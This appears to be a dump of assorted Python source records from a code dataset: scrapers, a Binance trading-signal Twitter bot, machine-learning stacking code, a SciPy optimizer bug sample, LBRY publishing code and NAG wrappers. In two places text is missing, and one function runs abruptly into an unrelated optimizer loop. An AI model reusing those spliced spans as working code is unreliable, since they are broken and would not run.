0\n # weights[1] = 1-weights[0]\n # else:\n # weights[2] = 1-weights[0]-weights[1]\n #\n # return weights\n else:\n return True\n return False\n\n\ndef _signed_area_tri(points):\n \"\"\"\n points : the coordinates of the triangle vertices -- (3x2) float array\n returns signed area of the triangle.\n\n \"\"\"\n\n x1, y1 = points[0]\n x2, y2 = points[1]\n x3, y3 = points[2]\n\n return(((x1-x3)*(y2-y3)-(x2-x3)*(y1-y3))/2)\n","sub_path":"pyugrid/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"481250352","text":"\n# Created by Sachin Dev on 29/06/18\n\n\nfrom datetime import timedelta, date\nimport requests\nfrom bs4 import BeautifulSoup\nfrom models.trains.train import Train\nfrom common.database import Database\n\n\ndef daterange(start_date, end_date):\n for n in range(int ((end_date - start_date).days)):\n yield start_date + timedelta(n)\n\n\nstart_date = date(2018, 1, 1)\nend_date = date(2018, 6, 29)\n\nDatabase.initialize()\nTrains = Train.all()\n\nfor single_date in daterange(start_date, end_date):\n date = single_date.strftime(\"%Y-%m-%d\")\n print(date)\n for train in Trains[270:280]:\n train._id=train._id.zfill(5)\n print(train._id)\n request = requests.get(\"https://railenquiry.in/runningstatus/ \" +train._id +\"/\"+date)\n content =request.content\n soup = BeautifulSoup(content, \"html.parser\")\n [s.extract() for s in soup('a')]\n [s.extract() for s in soup('input')]\n [s.extract() for s in soup('label')]\n [s.extract() for s in soup('small')]\n element = soup.find_all(\"tr\" ,{\"class\" :\"warning\"})\n f = open('newcsvfile.csv', 'a')\n for element in element:\n x=element.get_text(\",\")\n x = x.strip().split(',')\n x=filter(('').__ne__, x)\n x=filter(('\\n').__ne__, x)\n x=filter((' ').__ne__, x)\n x=filter(('-').__ne__, x)\n str1 = ','.join(x)\n print(str1)\n str1=str1+','+train._id\n f.write(str1)\n f.write('\\n')\n\n element = soup.find_all(\"tr\",{\"class\" :\"success \"})\n for element in element:\n x=element . get_text(\",\")\n x = x.strip().split(',')\n x = filter(('').__ne__, x)\n x = filter(('\\n').__ne__, x)\n x = filter((' ').__ne__, x)\n x = filter(('-').__ne__, x)\n str1 = ','.join(x)\n print(str1)\n str1 = str1 + ',' + train._id\n f.write(str1)\n f.write('\\n')\n\n f.close()","sub_path":"src/cron2.py","file_name":"cron2.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"450537952","text":"from binance.client import Client\nfrom finta import TA\nfrom datetime import datetime, date\nimport time as t\nimport creds # Binance API key\nimport ticker_list2 # List of all tickers on binance. \nimport pandas as pd\nimport numpy as np\nimport datetime\nimport tweepy\nimport mplfinance as mpf\n\n# Set up binance API\napi_key = creds.APIkey\napi_secret = creds.SecretKey\nclient = Client(api_key, api_secret)\n\n# Set up tweepy API\nauth = tweepy.OAuthHandler(creds.consumer_key, creds.consumer_secret)\nauth.set_access_token(creds.access_token, creds.access_token_secret)\napi = tweepy.API(auth)\n\n\nwhile True:\n \n # Gets all symbol tickers into a list. \n tickers = client.get_orderbook_tickers() #All tickers and quotes\n x=0 #iter\n complete_ticker_list = []\n for i in tickers: #for each stock in tickers, print only the ticker value\n y = tickers[x]\n x+=1\n symbol = y['symbol']\n complete_ticker_list.append(symbol)\n\n #Function to get ohlc values for a cryptocurrency on binance, and calculate if its above 1 or below 0 on %B\n def create_db(stock):\n open_val = []\n high_val = []\n low_val = []\n close_val = []\n time_val = [] #KLINE_INTERVAL_15MINUTE\n ticker = [] \n pandasdti = []\n volume = [] #KLINE_INTERVAL_1DAY\n #KLINE_INTERVAL_4HOUR\n for kline in client.get_historical_klines_generator(f\"{stock}\", Client.KLINE_INTERVAL_1HOUR, \"3 days ago UTC\"):\n \n #Code that converts unix timestamp to readable output\n timestamp = kline[0] #UTC time code\n timestamp = timestamp / 1000 #divides by 1000 because timestamp expects time in seconds but it comes in milliseconds and was giving the wrong date\n timestamp = datetime.datetime.fromtimestamp(timestamp).strftime('%Y-%m-%d %H:%M')\n time_val.append(timestamp)\n \n ##converts unix time code to pandas DatetimeIndex object\n datetimee = pd.to_datetime(timestamp) \n pandasdti.append(datetimee)\n\n #Adds ohlc values to lists\n open_val.append(float(kline[1]))\n high_val.append(float(kline[2]))\n low_val.append(float(kline[3]))\n close_val.append(float(kline[4]))\n volume.append(float(kline[5]))\n ticker.append(stock)\n \n # Combines ohlc value lists into one object then creates a pandas dataframe with that data.\n zippedList = list(zip(open_val, high_val, low_val, close_val))\n df = pd.DataFrame(zippedList, columns = ['open' , 'high', 'low', 'close'])\n\n # Creates second set of data for plotting it has to be formatted differently with a pandas datetimeindex object\n zippedList2 = list(zip(pandasdti, open_val, high_val, low_val, close_val))\n df2 = pd.DataFrame(zippedList2, columns = ['datetime', 'open' , 'high', 'low', 'close'])\n df2 = df2.set_index(['datetime'])\n df2['volume'] = volume\n \n # pandas df object containing bband values for plotting and merges them into df2\n bband = TA.BBANDS(df2) #pandas df object containing bband values\n df2['BB_UPPER'] = bband['BB_UPPER'] \n df2['BB_MIDDLE'] = bband['BB_MIDDLE'] \n df2['BB_LOWER'] = bband['BB_LOWER'] \n \n # %B indicator added to DF\n bb = TA.PERCENT_B(df)\n bb = np.nan_to_num(bb) #replaces NaN values with 0.0 \n df[\"%BB\"] = bb #Adds %b value column to df\n trade_signal = [] \n \n\n for i in bb:\n \n if i == 0:\n trade_signal.append(''), \n elif i > 1:\n trade_signal.append(''), \n elif i < 0:\n trade_signal.append('Oversold'), \n elif i <= 1 and i >= 0:\n trade_signal.append('')\n \n #Adds trade column to df\n df['Trade'] = pd.DataFrame(trade_signal)\n\n # Insert date and ticker to front of DF\n df.insert(0,\"Date\",time_val)\n df.insert(1,\"Ticker\",ticker)\n\n # Format for console, prints dataframe\n pd.set_option('display.width', None)\n pd.set_option('display.max_rows', None)\n \n # Iterates through rows and looks for oversold tickers\n tail = df.tail(1)\n print(f\"{tail}\\n\") # Shows the last db row of each stock (last day of the 100 day period)\n tickerx = df['Ticker']\n signal = df['Trade']\n datex = df['Date']\n price = df['close']\n var = signal.tail(1)\n booly = var.str.contains('Oversold')\n \n\n if booly[71] == True:\n tweet = f\"\\n1H {tickerx[71]} - {price[71]} - Oversold\\n\"\n print(tweet)\n plot(df2,tickerx)\n picpath = 'upload2.png'\n api.update_with_media(picpath,tweet)\n \n # Method to create plot\n def plot(df,ticker):\n mc = mpf.make_marketcolors(up='w',down='b')\n s = mpf.make_mpf_style(marketcolors=mc)\n ap0 = [ mpf.make_addplot(df2['BB_UPPER'],color='b'), # uses panel 0 by default\n mpf.make_addplot(df2['BB_LOWER'],color='b'),\n mpf.make_addplot(df2['BB_MIDDLE'],color='b'), # uses panel 0 by default\n ]\n mpf.plot(df2, type='candle', axtitle = f\"{ticker[0]} 1 HOUR\", xrotation=20, datetime_format=' %A, %d-%m-%Y', savefig='upload2.png', volume = True, style = s,addplot=ap0, fill_between=dict(y1=df2['BB_LOWER'].values, y2=df2['BB_UPPER'].values, alpha=0.15))\n \n # Method to feed ticker into main function\n def feed_ticker(complete_ticker_list2):\n for i in ticker_list2.ticker_list2:\n create_db(i)\n t.sleep(2)\n\n #Method that starts the program\n feed_ticker(complete_ticker_list)\n t.sleep(1200) #20 minutes wait\n","sub_path":"BTCScan1HR.py","file_name":"BTCScan1HR.py","file_ext":"py","file_size_in_byte":6016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"576349702","text":"a=input(\"Enter a string : \")\r\nb=input(\"Enter a word whose last occurence has to be removed : \")\r\nd=a.split(\" \")\r\ne=\"\"\r\nfor i in range(len(d)-1,-1,-1):\r\n if b==d[i]:\r\n c=i\r\n break\r\nfor i in range(0,c):\r\n e=e+d[i]+\" \"\r\nfor j in range(c+1,len(d)):\r\n e=e+d[j]+\" \"\r\nprint(e)\r\n","sub_path":"Strings/Remove_Last_Occurrence_of_Word.py","file_name":"Remove_Last_Occurrence_of_Word.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"399614271","text":"from sklearn.metrics import accuracy_score\nfrom sklearn.decomposition import PCA\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import StratifiedKFold, GridSearchCV, \\\n LeaveOneGroupOut, StratifiedShuffleSplit\n\n\nimport numpy as np\n\n# average and stack1\ndef decision_sg1_grid(x, y, subjects, cv, sub, clf_nb,\n nb_per_subject, nb_level0,\n number_gridcv, proj_dir=None,\n split_nb=None, note1=None, note_decision=None):\n # sub is a saved index document for consistent sub index\n # nb_level0 is k, the number of subjects for each levelo classifier\n accuracy_decision = []\n accuracy_sg1 = []\n iteration_nb = 0\n logis = LogisticRegression\n tuned_parameters = [{'penalty': ['l1', 'l2'],\n 'C': [10, 1, 0.1, 0.01, 0.001]}]\n\n for train_index, test_index in cv:\n x_train = x[train_index]\n y_train = y[train_index]\n x_test = x[test_index]\n y_test = y[test_index]\n # subjects = [1,1,1,1...,2,2,2,...] all subjects\n # subject_train = [2,2,2,...,5,5,5..] only the train subjects\n subject_train = subjects[train_index]\n # separate subject_train into individual\n # id_unique_subject = [[0,1,2,3,..],[40,41,...][80,81...]..] the index in MEG trainset\n id_unique_subject = []\n # subject_train_unique=[[1,1,1..][2,2,2..][3,3,..]..]\n subject_train_unique = []\n for (i,q) in enumerate(np.unique(subject_train)):\n id_unique_subject.append([j for j, p in enumerate(subject_train) if p == q])\n subject_train_unique.append([i+1 for p in subject_train if p == q])\n\n x_train_unique = [x_train[j] for j in id_unique_subject]\n y_train_unique = [y_train[j] for j in id_unique_subject]\n if nb_level0 == 1:\n clf_nb = int(x_train.shape[0] / nb_per_subject)\n decision_testset = np.empty([clf_nb, len(x_test)])\n\n # transformed train set and test set for stack1\n # stack1_data = np.empty([x_train.shape[0], clf_nb])\n # stack1_test = np.empty([x_test.shape[0], clf_nb])\n\n # first layer\n # k =1, only one subject for one first-layer classifier\n # stratifidKFold for the gridsearch\n if nb_level0 == 1:\n permu = np.random.permutation(clf_nb)\n for nb in permu:\n x_grid = x_train_unique[nb]\n y_grid = y_train_unique[nb]\n grid_clf = GridSearchCV(logis(C=10, n_jobs=-1), tuned_parameters,\n cv=number_gridcv, n_jobs=-1)\n grid_clf.fit(x_grid, y_grid)\n # clf_level0 = grid_clf.best_estimator_\n # clf_level0.fit(x_grid, y_grid)\n decision_testset[nb] = grid_clf.decision_function(x_test)\n # stack1_data[:, nb] = grid_clf.decision_function(x_train)\n # stack1_test[:, nb] = grid_clf.decision_function(x_test)\n # k>5 leave-one-subject-out for the gridsearch\n elif nb_level0 > 5:\n for nb in range(clf_nb):\n # choose k subjects to train NC level0 classifiers\n # sub is the saved document of permutation index\n train_subject = sub[nb][:nb_level0]\n\n # for decision and stack1\n x_grid = np.vstack([x_train_unique[i] for i in train_subject])\n y_grid = np.concatenate([y_train_unique[i] for i in train_subject])\n subjects_level0 = np.concatenate([subject_train_unique[i]\n for i in train_subject])\n logo = LeaveOneGroupOut()\n grid_cv = list(logo.split(x_grid,y_grid, subjects_level0))\n grid_clf = GridSearchCV(logis(C=10, n_jobs=-1), tuned_parameters,\n cv=grid_cv, n_jobs=-1)\n grid_clf.fit(x_grid, y_grid)\n\n # use every level0 clf to predict test set\n decision_testset[nb] = grid_clf.decision_function(x_test)\n # use level0 clf to transform data for stack1\n # stack1_data[:, nb] = grid_clf.decision_function(x_train)\n # stack1_test[:, nb] = grid_clf.decision_function(x_test)\n # 1= 0 else 0\n for k in mean_decision_testset]\n score_decision = round(accuracy_score(y_test, mean_testset_label), 3)\n print('decision',score_decision)\n accuracy_decision.append(score_decision)\n\n # stack1\n # logo = LeaveOneGroupOut()\n # sec_grid_cv = list(logo.split(x_train, y_train, subject_train))\n # sec_grid_clf = GridSearchCV(logis(C=10, n_jobs=-1), tuned_parameters,\n # cv=sec_grid_cv, n_jobs=-1)\n # sec_grid_clf.fit(stack1_data, y_train)\n # prediction1 = sec_grid_clf.predict(stack1_test)\n # score1 = round(accuracy_score(y_test, prediction1), 3)\n # accuracy_sg1.append(score1)\n # print('stack1', score1)\n\n iteration_nb += 1\n # if iteration_nb % 50 == 0:\n # np.save(proj_dir + 'results/multi_subject_learning/{}splits/uniform/{}_{}th_decision.npy'\n # .format(split_nb, note_decision, iteration_nb), accuracy_decision)\n # np.save(proj_dir + 'results/multi_subject_learning/{}splits/uniform/{}_{}th_stack1.npy'\n # .format(split_nb, note1, iteration_nb), accuracy_sg1)\n print(iteration_nb)\n print('mean accuracy of decision', np.mean(accuracy_decision))\n # print('mean accuracy of stack1', np.mean(accuracy_sg1))\n return accuracy_decision,accuracy_sg1,\n\n\n\n# stack2 and stack3\n\ndef sg2_sg3_grid(x, y, subjects, cv, sub, clf_nb=30,\n nb_per_subject=576, nb_level0=11, number_gridcv = 4,\n test_perc = 0.8, proj_dir=None,\n split_nb=None, note=None):\n # sub is a saved index document for consistent sub index\n # nb_level0 is k, the number of subjects for each levelo classifier\n # test_perc is the percent of the first layer data\n sss = StratifiedShuffleSplit(n_splits=1, test_size=test_perc)\n a = np.concatenate([np.zeros((nb_per_subject // 2,)),\n np.ones((nb_per_subject // 2,))])\n sss_cv = sss.split(a, a)\n for train, test in sss_cv:\n split_unique = (train, test) # train for level1, test for level0\n\n accuracy_sg2 = []\n accuracy_sg20 = []\n accuracy_sg21 = []\n accuracy_sg3 = []\n iteration_nb = 0\n logis = LogisticRegression\n tuned_parameters = [{'penalty': ['l1', 'l2'],\n 'C': [10, 1, 0.1, 0.01, 0.001]}]\n score_grid = 'precision'\n\n for train_index, test_index in cv:\n x_train = x[train_index]\n y_train = y[train_index]\n x_test = x[test_index]\n y_test = y[test_index]\n # subjects = [1,1,1,1...,2,2,2,...] all subjects\n # subject_train = [2,2,2,...,5,5,5..] only the train subjects\n subject_train = subjects[train_index]\n # separate subject_train into individual\n # id_unique_subject = [[0,1,2,3,..],[40,41,...][80,81...]..] the index in trainset\n id_unique_subject = []\n # subject_train_unique reconstruct the index of subject_train and split it\n # into separate subject\n subject_train_unique = []\n for (i,q) in enumerate(np.unique(subject_train)):\n id_unique_subject.append([j for j, p in enumerate(subject_train) if p == q])\n subject_train_unique.append(np.array([i for p in subject_train if p == q]))\n\n x_train_unique = [x_train[j] for j in id_unique_subject]\n y_train_unique = [y_train[j] for j in id_unique_subject]\n\n if nb_level0 == 1:\n clf_nb = int(x_train.shape[0] / nb_per_subject)\n\n # separate each subject in train set into 2 parts, level0 and level1\n # original level0\n # split_unique[1] is for level0 data\n # use vstack to connect samples , use concatenate/hstack to connect labels\n level1_data0 = np.vstack([unique[split_unique[1]]\n for unique in x_train_unique])\n level1_label0 = np.concatenate([unique[split_unique[1]]\n for unique in y_train_unique])\n level1_subject0 = np.concatenate([unique[split_unique[1]]\n for unique in subject_train_unique])\n # transformed level0 and testset\n level1_trainset0 = np.empty([level1_data0.shape[0], clf_nb])\n level1_testset0 = np.empty([len(x_test), clf_nb])\n # original level1\n level1_data1 = np.vstack([unique[split_unique[0]]\n for unique in x_train_unique])\n level1_label1 = np.concatenate([unique[split_unique[0]]\n for unique in y_train_unique])\n level1_subject1 = np.concatenate([unique[split_unique[0]]\n for unique in subject_train_unique])\n # transformed level1 and test set\n level1_trainset1 = np.empty([level1_data1.shape[0], clf_nb])\n level1_testset1 = np.empty([len(x_test), clf_nb])\n\n # first layer\n # k =1, only one subject for one first-layer classifier\n # stratifidKFold for the gridsearch\n if nb_level0 == 1:\n permu = np.random.permutation(clf_nb)\n for nb in permu:\n # level0 as the train, transform level1 data for stack2 and stack3\n x_grid = x_train_unique[nb][split_unique[1]]\n y_grid = y_train_unique[nb][split_unique[1]]\n grid_clf = GridSearchCV(logis(C=10, n_jobs=-1), tuned_parameters, cv=4,\n n_jobs=-1)\n grid_clf.fit(x_grid, y_grid)\n # clf_level0 = grid_clf.best_estimator_\n # clf_level0.fit(x_grid, y_grid)\n level1_trainset1[:, nb] = grid_clf.decision_function(level1_data1)\n level1_testset1[:, nb] = grid_clf.decision_function(x_test)\n\n # level1 as the train, transform level0 data for stack2 and stack3\n x_grid = x_train_unique[nb][split_unique[0]]\n y_grid = y_train_unique[nb][split_unique[0]]\n grid_clf = GridSearchCV(logis(C=10, n_jobs=-1), tuned_parameters, cv=4,\n n_jobs=-1)\n grid_clf.fit(x_grid, y_grid)\n # clf_level0 = grid_clf.best_estimator_\n # clf_level0.fit(x_grid, y_grid)\n level1_trainset0[:, nb] = grid_clf.decision_function(level1_data0)\n level1_testset0[:, nb] = grid_clf.decision_function(x_test)\n\n # k>5 leave-one-subject-out for the gridsearch\n elif nb_level0 > 5:\n for nb in range(clf_nb):\n # choose k subjects to train NC level0 classifiers\n # sub is the saved document of permutation index\n train_subject = sub[nb][:nb_level0]\n\n # transform level1\n x_grid = np.vstack([x_train_unique[i][split_unique[1]]\n for i in train_subject])\n y_grid = np.concatenate([y_train_unique[i][split_unique[1]]\n for i in train_subject])\n subjects_level0 = np.concatenate([subject_train_unique[i][split_unique[1]]\n for i in train_subject])\n logo = LeaveOneGroupOut()\n grid_cv = list(logo.split(x_grid,y_grid, subjects_level0))\n grid_clf = GridSearchCV(logis(C=10, n_jobs=-1), tuned_parameters, cv=grid_cv,\n n_jobs=-1)\n grid_clf.fit(x_grid, y_grid)\n # clf_level0 = grid_clf.best_estimator_\n # clf_level0.fit(x_grid, y_grid)\n level1_trainset1[:, nb] = grid_clf.decision_function(level1_data1)\n level1_testset1[:, nb] = grid_clf.decision_function(x_test)\n\n # transform level0\n x_grid = np.vstack([x_train_unique[i][split_unique[0]]\n for i in train_subject])\n y_grid = np.concatenate([y_train_unique[i][split_unique[0]]\n for i in train_subject])\n subjects_level0 = np.concatenate([subject_train_unique[i][split_unique[0]]\n for i in train_subject])\n logo = LeaveOneGroupOut()\n grid_cv = list(logo.split(x_grid, y_grid, subjects_level0))\n grid_clf = GridSearchCV(logis(C=10, n_jobs=-1), tuned_parameters,\n cv=grid_cv,\n n_jobs=-1)\n grid_clf.fit(x_grid, y_grid)\n # clf_level0 = grid_clf.best_estimator_\n # clf_level0.fit(x_grid, y_grid)\n level1_trainset0[:, nb] = grid_clf.decision_function(level1_data0)\n level1_testset0[:, nb] = grid_clf.decision_function(x_test)\n # 1 gtol) and (k < maxiter)):\n deltak = numpy.dot(gfk, gfk)\n cached_step = [None]\n\n def polak_ribiere_powell_step(alpha, gfkp1=None):\n xkp1 = (xk + (alpha * pk))\n if (gfkp1 is None):\n gfkp1 = myfprime(xkp1)\n yk = (gfkp1 - gfk)\n beta_k = max(0, (numpy.dot(yk, gfkp1) / deltak))\n pkp1 = ((- gfkp1) + (beta_k * pk))\n gnorm = vecnorm(gfkp1, ord=norm)\n return (alpha, xkp1, pkp1, gfkp1, gnorm)\n\n def descent_condition(alpha, xkp1, fp1, gfkp1):\n cached_step[:] = polak_ribiere_powell_step(alpha, gfkp1)\n (alpha, xk, pk, gfk, gnorm) = cached_step\n if (gnorm <= gtol):\n return True\n return (numpy.dot(pk, gfk) <= ((- sigma_3) * numpy.dot(gfk, gfk)))\n try:\n (alpha_k, fc, gc, old_fval, old_old_fval, gfkp1) = _line_search_wolfe12(f, myfprime, xk, pk, gfk, old_fval, old_old_fval, c2=0.4, amin=1e-100, amax=1e+100, extra_condition=descent_condition)\n except _LineSearchError:\n warnflag = 2\n break\n if (alpha_k == cached_step[0]):\n (alpha_k, xk, pk, gfk, gnorm) = cached_step\n else:\n (alpha_k, xk, pk, gfk, gnorm) = polak_ribiere_powell_step(alpha_k, gfkp1)\n if retall:\n allvecs.append(xk)\n if (callback is not None):\n callback(xk)\n k += 1\n fval = old_fval\n if (warnflag == 2):\n msg = _status_message['pr_loss']\n if disp:\n print(('Warning: ' + msg))\n print((' Current function value: %f' % fval))\n print((' Iterations: %d' % k))\n print((' Function evaluations: %d' % func_calls[0]))\n print((' Gradient evaluations: %d' % grad_calls[0]))\n elif (k >= maxiter):\n warnflag = 1\n msg = _status_message['maxiter']\n if disp:\n print(('Warning: ' + msg))\n print((' Current function value: %f' % fval))\n print((' Iterations: %d' % k))\n print((' Function evaluations: %d' % func_calls[0]))\n print((' Gradient evaluations: %d' % grad_calls[0]))\n else:\n msg = _status_message['success']\n if disp:\n print(msg)\n print((' Current function value: %f' % fval))\n print((' Iterations: %d' % k))\n print((' Function evaluations: %d' % func_calls[0]))\n print((' Gradient evaluations: %d' % grad_calls[0]))\n result = OptimizeResult(fun=fval, jac=gfk, nfev=func_calls[0], njev=grad_calls[0], status=warnflag, success=(warnflag == 0), message=msg, x=xk, nit=k)\n if retall:\n result['allvecs'] = allvecs\n return result","sub_path":"Data Set/bug-fixing-5/b592902ab3b9c0f254bda87faeeb5ca3cb652458-<_minimize_cg>-bug.py","file_name":"b592902ab3b9c0f254bda87faeeb5ca3cb652458-<_minimize_cg>-bug.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"473698173","text":"import logging\nimport mimetypes\nimport os\nimport random\n\nfrom twisted.internet import threads, defer, reactor\n\nfrom lbrynet.core import log_support\nfrom lbrynet.lbryfilemanager.EncryptedFileCreator import create_lbry_file\nfrom lbrynet.lbryfile.StreamDescriptor import publish_sd_blob\nfrom lbrynet.metadata.Metadata import Metadata\nfrom lbrynet.lbryfilemanager.EncryptedFileDownloader import ManagedEncryptedFileDownloader\nfrom lbrynet import reflector\nfrom lbrynet.conf import settings\n\n\nlog = logging.getLogger(__name__)\n\n\nclass Publisher(object):\n def __init__(self, session, lbry_file_manager, wallet):\n self.session = session\n self.lbry_file_manager = lbry_file_manager\n self.wallet = wallet\n self.received_file_name = False\n self.file_path = None\n self.file_name = None\n self.publish_name = None\n self.bid_amount = None\n self.verified = False\n self.lbry_file = None\n self.txid = None\n self.nout = None\n self.stream_hash = None\n # TODO: this needs to be passed into the constructor\n reflector_server = random.choice(settings.reflector_servers)\n self.reflector_server, self.reflector_port = reflector_server[0], reflector_server[1]\n self.metadata = {}\n\n def start(self, name, file_path, bid, metadata):\n log.info('Starting publish for %s', name)\n def _show_result():\n log.info(\"Success! Published %s --> lbry://%s txid: %s nout: %d\", \n self.file_name, self.publish_name, self.txid, self.nout)\n out = {}\n out['nout'] = self.nout\n out['txid'] = self.txid \n return defer.succeed(out)\n\n self.publish_name = name\n self.file_path = file_path\n self.bid_amount = bid\n self.metadata = metadata\n\n # TODO: we cannot have this sort of code scattered throughout\n # our code base. Use polymorphism instead\n if os.name == \"nt\":\n file_mode = 'rb'\n else:\n file_mode = 'r'\n\n d = self._check_file_path(self.file_path)\n # TODO: ensure that we aren't leaving this resource open\n d.addCallback(lambda _: create_lbry_file(self.session, self.lbry_file_manager,\n self.file_name, open(self.file_path, file_mode)))\n d.addCallback(self.add_to_lbry_files)\n d.addCallback(lambda _: self._create_sd_blob())\n d.addCallback(lambda _: self._claim_name())\n d.addCallback(lambda _: self.set_status())\n d.addCallback(lambda _: self.start_reflector())\n d.addCallbacks(lambda _: _show_result(), self._show_publish_error)\n return d\n\n def start_reflector(self):\n # TODO: is self.reflector_server unused?\n reflector_server = random.choice(settings.reflector_servers)\n reflector_address, reflector_port = reflector_server[0], reflector_server[1]\n log.info(\"Reflecting new publication\")\n factory = reflector.ClientFactory(\n self.session.blob_manager,\n self.lbry_file_manager.stream_info_manager,\n self.stream_hash\n )\n d = reactor.resolve(reflector_address)\n d.addCallback(lambda ip: reactor.connectTCP(ip, reflector_port, factory))\n d.addCallback(lambda _: factory.finished_deferred)\n return d\n\n def _check_file_path(self, file_path):\n def check_file_threaded():\n f = open(file_path)\n f.close()\n self.file_name = os.path.basename(self.file_path)\n return True\n return threads.deferToThread(check_file_threaded)\n\n def set_lbry_file(self, lbry_file_downloader):\n self.lbry_file = lbry_file_downloader\n return defer.succeed(None)\n\n def add_to_lbry_files(self, stream_hash):\n self.stream_hash = stream_hash\n prm = self.session.payment_rate_manager\n d = self.lbry_file_manager.add_lbry_file(stream_hash, prm)\n d.addCallback(self.set_lbry_file)\n return d\n\n def _create_sd_blob(self):\n log.debug('Creating stream descriptor blob')\n d = publish_sd_blob(self.lbry_file_manager.stream_info_manager,\n self.session.blob_manager,\n self.lbry_file.stream_hash)\n\n def set_sd_hash(sd_hash):\n log.debug('stream descriptor hash: %s', sd_hash)\n if 'sources' not in self.metadata:\n self.metadata['sources'] = {}\n self.metadata['sources']['lbry_sd_hash'] = sd_hash\n\n d.addCallback(set_sd_hash)\n return d\n\n def set_status(self):\n log.debug('Setting status')\n d = self.lbry_file_manager.change_lbry_file_status(\n self.lbry_file, ManagedEncryptedFileDownloader.STATUS_FINISHED)\n d.addCallback(lambda _: self.lbry_file.restore())\n return d\n\n def _claim_name(self):\n log.debug('Claiming name')\n self._update_metadata()\n m = Metadata(self.metadata)\n\n def set_txid_nout(claim_out):\n if not claim_out['success']:\n msg = 'Failed to claim name:{}'.format(claim_out['reason'])\n defer.fail(Exception(msg))\n txid = claim_out['txid']\n nout = claim_out['nout'] \n log.debug('Name claimed using txid: %s, nout: %d', txid, nout)\n self.txid = txid\n self.nout = nout \n\n d = self.wallet.claim_name(self.publish_name, self.bid_amount, m)\n d.addCallback(set_txid_nout)\n return d\n\n def _update_metadata(self):\n filename = os.path.join(self.lbry_file.download_directory, self.lbry_file.file_name)\n self.metadata['content_type'] = get_content_type(filename)\n self.metadata['ver'] = Metadata.current_version\n\n def _show_publish_error(self, err):\n log_support.failure(\n err, log, \"An error occurred publishing %s to %s. Error: %s.\",\n self.file_name, self.publish_name)\n return defer.fail(Exception(\"Publish failed\"))\n\n\ndef get_content_type(filename):\n return mimetypes.guess_type(filename)[0] or 'application/octet-stream'\n","sub_path":"lbrynet/lbrynet_daemon/Publisher.py","file_name":"Publisher.py","file_ext":"py","file_size_in_byte":6166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"259478543","text":"\ndef cluster_update(spins, unit_vector):\n starting_point = random.randrange(N)\n projections = numpy.array([numpy.dot(spin,unit_vector) for spin in spins])\n \n pocket = [starting_point]\n cluster = [starting_point]\n N_cluster = 1\n \n spins[starting_point] = spins[starting_point] - 2*projections[starting_point]*unit_vector \n while pocket != []:\n k = pocket.pop()\n for neigh in nbr[k]:\n if random.uniform(0.,1.) < (1 - math.exp(min(0,-2*beta*J*projections[k]*projections[neigh]))):\n if neigh not in cluster:\n pocket.append(neigh)\n cluster.append(neigh)\n N_cluster += 1\n spins[neigh] = spins[neigh] - 2*projections[neigh]*unit_vector\n if N_cluster == len(spins):\n break\n return spins, float(N_cluster)\n ","sub_path":"ApplicationFactorized/XY & Disks/XY Model/Cythontests/test_2/raw_update.py","file_name":"raw_update.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"140052645","text":"from apis.oanda_api import OandaAPI\nfrom candle.candlelist import CandleList\n\nimport datetime\n\nimport pytest\n\n\n@pytest.fixture\ndef s_object():\n '''Returns Segment object'''\n\n oanda = OandaAPI(instrument='AUD_USD',\n granularity='D',\n settingf='../../data/settings.ini')\n\n oanda.run(start='2019-03-08T22:00:00',\n end='2019-08-09T22:00:00')\n\n candle_list = oanda.fetch_candleset()\n\n cl = CandleList(candle_list,\n instrument='AUD_USD',\n id='AUD_USD_test',\n type='long',\n settingf='../../data/settings.ini')\n\n pl = cl.get_pivotlist(th_bounces=cl.settings.getfloat('pivots',\n 'th_bounces'))\n\n slist = pl.slist\n return slist.slist[2]\n\ndef test_get_lowest(s_object):\n '''Test 'get_lowest' function'''\n\n assert datetime.datetime(2019, 6, 17, 21) == s_object.get_lowest().time\n\ndef test_get_highest(s_object):\n '''Test 'get_highest' function'''\n\n assert datetime.datetime(2019, 7, 3, 21) == s_object.get_highest().time","sub_path":"tests/segment/test_Segment.py","file_name":"test_Segment.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"570361637","text":"\"\"\"\nWrappers for the NAG C Library (Mark 23) h02 Functions.\n\nh02 - Integer Programming.\n\nhttp://www.nag.co.uk/numeric/CL/nagdoc_cl23/html/h/hconts.html\n\nNAG Copyright 2014.\n\"\"\"\nfrom nag4py.util import get_library\n\nfrom nag4py.util import Integer\nfrom nag4py.util import Nag_Boolean\nfrom nag4py.util import NAG_H02BBC_QPHESS\nfrom nag4py.util import Nag_H02_Opt\nfrom nag4py.util import Nag_Comm\nfrom nag4py.util import NagError\n\n_libraries = {}\n_libraries['CL23'] = get_library()\nfrom ctypes import c_char_p\nSTRING = c_char_p\n\n\nh02bbc_ctypes = _libraries['CL23'].h02bbc\nh02bbc_ctypes.restype = None\nfrom ctypes import c_double\nfrom ctypes import POINTER\nh02bbc_ctypes.argtypes = [Integer, Integer, POINTER(c_double), Integer, POINTER(c_double), POINTER(c_double), POINTER(Nag_Boolean), POINTER(c_double), POINTER(c_double), Integer, NAG_H02BBC_QPHESS, POINTER(c_double), POINTER(c_double), POINTER(Nag_H02_Opt), POINTER(Nag_Comm), POINTER(NagError)]\n\ndef h02bbc(n, m, a, tda, bl, bu, intvar, cvec, h, tdh, qphess, x, objf, options, comm, fail):\n \"\"\"\n Solves integer programming problems using a branch and bound method.\n http://www.nag.co.uk/numeric/CL/nagdoc_cl23/html/h/h02bbc.html\n\n TypeError will be raised when the following arguments are not instances\n of numpy.ndarray:\n a, bl, bu, cvec, h, x, objf\n TypeError will be raised when the following arguments are not of data type\n 